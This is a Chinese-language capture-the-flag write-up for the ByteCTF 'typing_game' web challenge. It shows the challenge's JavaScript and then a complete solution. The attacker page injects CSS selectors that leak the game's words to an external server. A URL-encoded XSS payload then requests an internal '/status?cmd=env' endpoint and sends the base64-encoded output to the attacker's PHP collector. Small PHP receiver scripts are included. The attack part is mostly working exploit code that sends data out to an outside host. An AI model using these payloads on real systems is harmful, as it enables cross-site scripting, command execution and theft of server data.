[ByteCTF]typing_game
摘要
CSS 获取页面信息并发送
XSS:window 对象 open() location.href
页面 JS 通过获取 hashtag
来玩游戏,可以发送 GET
请求去填词
在 color 和 name 有一处 XSS,需要通过在 color 中插入恶意 css 来让 bot 玩游戏,玩通关后才能用 name 打 xss
那怎么实现填词功能呢?查看 game.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83
| const word = document.getElementById("word"); const text = document.getElementById("text"); const scoreEl = document.getElementById("score"); const timeEl = document.getElementById("time"); const endgameEl = document.getElementById("end-game-container");
const words = [ "web", "bytedance", "ctf", "sing", "jump", "rap", "basketball", "hello", "world", "fighting", "flag", "game", "happy", ].sort(function () { return 0.5 - Math.random(); }); let words_l = 0; let randomWord; let score = 0; let time = 26; text.focus(); const timeInterval = setInterval(updateTime, 1000); function addWordToDOM() { randomWord = words[words_l]; words_l++; word.setAttribute("src", randomWord + ".mp3"); word.innerHTML = randomWord; }
function updateScore() { score++; scoreEl.innerHTML = score; } function updateTime() { time--; timeEl.innerHTML = time + "s"; if (time === 0 || score >= words.length) { clearInterval(timeInterval); word.parentElement.removeChild(word); gameOver(); } } function gameOver() { if (score >= words.length) { const params = new URLSearchParams(window.location.search); const username = params.get("name"); endgameEl.innerHTML = ` <h1>^_^</h1> Dear ${username},Congratulations on your success.Your final score is ${score}`; endgameEl.style.display = "flex"; } else { score = 0; endgameEl.innerHTML = ` <h1>*_*</h1> Try again`; endgameEl.style.display = "flex"; } }
addWordToDOM();
function typing(insertedText) { if (insertedText === randomWord) { addWordToDOM(); updateScore(); document.querySelector("#text").value = ""; updateTime(); } }
text.addEventListener("input", (e) => { typing(e.target.value); }); addEventListener("hashchange", (e) => { typing(location.hash.replace("#", "").split("?")[0]); });
|
location.hash.replace("#","").split("?")[0]
https://www.w3school.com.cn/cssref/css_selectors.asp 具体可以查看 CSS 的使用教程
MP3 的命名也是根据答案来的,于是乎通过硬编码 [src^=sing]{background:url()}
找到 MP3 文件来带出数据,自己的服务器接收到具体到哪一个字母了,就发送对应的字母到 hashtag 后面去实现填词功能
2.php 接受填的词
1 2 3 4 5 6 7
| <?php if(isset($_GET['word'])){ $word = $_GET['word']; file_put_contents("/tmp/save_word",$word); }else { echo file_get_contents("/tmp/save_word"); }
|
1.php 获取返回的数据
1 2 3 4 5 6 7
| <?php $res=$_GET['res']; if(isset($res)){ file_put_contents("/tmp/result",$res); }else{ echo base64_decode(file_get_contents("/tmp/result")); }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116
| <img src="https://deelay.me/50000/https://picsum.photos/200/300" /> // 防止 recycle <script> XssCommond = "%3Cimg%20src%3D%22x%22%20onerror%3D%22document%2Ewrite%28%27%3Cimg%20src%3D%5C%27https%5C%2F%5C%2Flin%2Dyz%2F2%2Ephp%3Fword%3Dxss%2Ddone%5C%27%20%2F%3E%27%29%3Bvar%20xhr%3Dnew%20XMLHttpRequest%28%29%3Bxhr%2Eopen%28%27GET%27%2C%27http%3A%5C%2F%5C%2F127%2E0%2E0%2E1%3A13002%2Fstatus%3Fcmd%3Denv%27%2Cfalse%29%3Bxhr%2Esend%28null%29%3BsetTimeout%28function%28%29%7Bconsole%2Elog%28xhr%2EresponseText%29%3Bdocument%2Ewrite%28%27%3Cimg%20src%3D%5C%27https%3A%5C%2F%5C%2Flin%2Dyz%2Efun%2F1%2Ephp%3Fres%3D%27%2Bbtoa%28xhr%2EresponseText%29%2B%27%5C%27%20%2F%3E%27%29%3B%7D%2C1000%29%3B%22%20%2F%3E"; baseurl = "http:\/\/127.0.0.1:13002/?color=red;}[src^=web]{background:url(https://lin-yz.fun/2.php?word=web);}[src^=bytedance]{background:url(https://lin-yz.fun/2.php?word=bytedance);}[src^=ctf]{background:url(https://lin-yz.fun/2.php?word=ctf);}[src^=sing]{background:url(https://lin-yz.fun/2.php?word=sing);}[src^=jump]{background:url(https://lin-yz.fun/2.php?word=jump);}[src^=rap]{background:url(https://lin-yz.fun/2.php?word=rap);}[src^=basketball]{background:url(https://lin-yz.fun/2.php?word=basketball);}[src^=hello]{background:url(https://lin-yz.fun/2.php?word=hello);}[src^=world]{background:url(https://lin-yz.fun/2.php?word=world);}[src^=fighting]{background:url(https://lin-yz.fun/2.php?word=fighting);}[src^=flag]{background:url(https://lin-yz.fun/2.php?word=flag);}[src^=game]{background:url(https://lin-yz.fun/2.php?word=game);}[src^=happy]{background:url(https://lin-yz.fun/2.php?word=happy);}background-color:blue&name=" + XssCommond + "#";
function create_window() { let w = open(baseurl); return w; }
stop = false; function get_word() { if (stop) { return; } else { fetch("https://lin-yz.fun/2.php").then((data) => data.text().then((x) => { if (x == "") { return; } else { console.log(x); if (x == "xss-done") { stop = true; return; } else { window.vuln_window.location.href = baseurl + x; } } }) ); } } setTimeout(function () { window.vuln_window = create_window(); setInterval(get_word, 200); }, 200); setTimeout(function () { console.log(1); }, 1000); setTimeout(function () { console.log(1); }, 1000); setTimeout(function () { console.log(1); }, 10000); setTimeout(function () { console.log(1); }, 20000); setTimeout(function () { console.log(1); }, 1000); setTimeout(function () { console.log(1); }, 1000); setTimeout(function () { console.log(1); }, 10000); setTimeout(function () { console.log(1); }, 20000); setTimeout(function () { console.log(1); }, 1000); setTimeout(function () { console.log(1); }, 1000); setTimeout(function () { console.log(1); }, 10000); setTimeout(function () { console.log(1); }, 20000); setTimeout(function () { console.log(1); }, 1000); setTimeout(function () { console.log(1); }, 1000); setTimeout(function () { console.log(1); }, 10000); setTimeout(function () { console.log(1); }, 20000); setTimeout(function () { console.log(1); }, 1000); setTimeout(function () { console.log(1); }, 1000); setTimeout(function () { console.log(1); }, 10000); setTimeout(function () { console.log(1); }, 20000); setTimeout(function () { console.log(1); }, 10000); setTimeout(function () { console.log(1); }, 100000); setTimeout(function () { console.log(1); }, 10000); setTimeout(function () { console.log(1); }, 20000); </script>
|